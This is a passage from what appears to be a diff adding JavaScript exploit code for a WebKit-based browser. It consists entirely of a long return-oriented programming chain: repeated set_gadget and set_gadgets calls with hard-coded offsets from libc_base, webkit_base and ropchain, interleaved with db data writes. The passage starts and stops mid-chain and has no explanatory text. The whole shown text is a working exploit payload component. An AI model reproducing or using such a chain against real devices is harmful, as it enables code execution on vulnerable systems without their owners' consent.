+ropchain+163968, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+164080, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+164064, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+164184, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+166648, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+164272, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+164360, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+164376, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+229136, +libc_base+713278, +ropchain+164536, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+164488, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+164504, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+164592, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+164704, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+164736, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+164720, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+164896, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+164848, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+164864, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+164952, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+165064, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+165096, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+165080, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+165176, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+165192, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+165352, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+165304, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+165320, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+165408, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+165520, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+165552, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+165536, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+165648, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+165632, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+165784, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+165768, +webkit_base+4687784, +libc_base+165442, +ropchain+128, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+165928, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+165896, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+165912, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+166016, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+166080, +webkit_base+4687784, +libc_base+768796, +ropchain+128, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+713278, +ropchain+166136, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+166216, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+166272, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+887232, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+166400, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+166384, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+166504, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+166520, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+166640, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+166624, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +write_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+167968, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+168040, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+168152, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+168168, +webkit_base+4687784, +libc_base+388400, +libc_base+713278 +]); +db([16, 0]); +set_gadget(webkit_base+1420514,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+168256, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+168272, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+168400, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+168416, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+168384, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+168520, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+168536, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+168656, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+168640, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+168744, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+168728, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+168848, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+168864, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+168984, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+168968, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+169056, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+169168, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+169184, +webkit_base+4687784, +libc_base+388400, +libc_base+713278 +]); +db([16, 0]); +set_gadget(webkit_base+1420514,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+169272, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+169288, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+169448, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+169480, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+169432, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+169464, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+169640, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+169592, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+169608, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([32, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+169776, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+169792, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+169760, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+169896, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+169912, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+170032, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+170016, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+170120, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+170104, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+170224, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+170240, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+170360, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+170344, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+170432, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+170544, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+170560, +webkit_base+4687784, +libc_base+388400, +libc_base+713278 +]); +db([16, 0]); +set_gadget(webkit_base+1420514,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+170648, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+170664, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+229840, +libc_base+713278, +ropchain+170824, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+170776, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+170792, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([16, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+170880, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+170992, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+171024, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+171008, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+171184, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+171136, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+171152, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+171288, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+171272, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([8, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+857161, +libc_base+713278, +ropchain+171496, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+171464, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+171600, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+171584, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+171696, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+171784, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+171800, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+229840, +libc_base+713278, +ropchain+171960, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+171912, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+171928, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([16, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+172016, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+172128, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+172160, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+172144, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+172320, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+172272, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+172288, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+172424, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+172408, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([8, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+172624, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+172592, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([32, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+172728, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+172712, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857183, +libc_base+713278, +ropchain+172840, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+172808, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+172904, +webkit_base+4687784, +webkit_base+1816389, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+172960, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278, +ropchain+173112, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+173128, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+173096, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+173288, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+173240, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+173256, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+173424, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+173440, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+173408, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+173544, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+173560, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+173680, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+173664, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+173768, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+173752, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+173872, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+173888, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+174008, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+173992, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+174080, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+174144, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+174288, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+174392, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([61, 0]); 